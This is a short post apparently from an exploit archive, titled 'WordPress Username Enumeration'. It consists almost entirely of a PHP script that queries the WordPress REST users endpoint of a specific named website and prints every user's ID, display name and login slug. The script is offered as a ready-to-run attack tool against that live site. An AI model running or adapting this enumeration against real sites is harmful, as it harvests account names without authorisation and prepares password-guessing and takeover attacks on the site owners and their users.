WordPress Username Enumeration
Posted on 03 March 2017
#!usr/bin/php <?php #Author: Mateus a.k.a Dctor #fb: fb.com/hatbashbr/ #E-mail: dctoralves@protonmail.ch #Site: https://mateuslino.tk header ('Content-type: text/html; charset=UTF-8'); $url= "https://bucaneiras.org/"; $payload="wp-json/wp/v2/users/"; $urli = file_get_contents($url.$payload); $json = json_decode($urli, true); if($json){ echo "*-----------------------------* "; foreach($json as $users){ echo "[*] ID : |" .$users['id'] ."| "; echo "[*] Name: |" .$users['name'] ."| "; echo "[*] User :|" .$users['slug'] ."| "; echo " "; }echo "*-----------------------------*";} else{echo "[*] No user";} ?>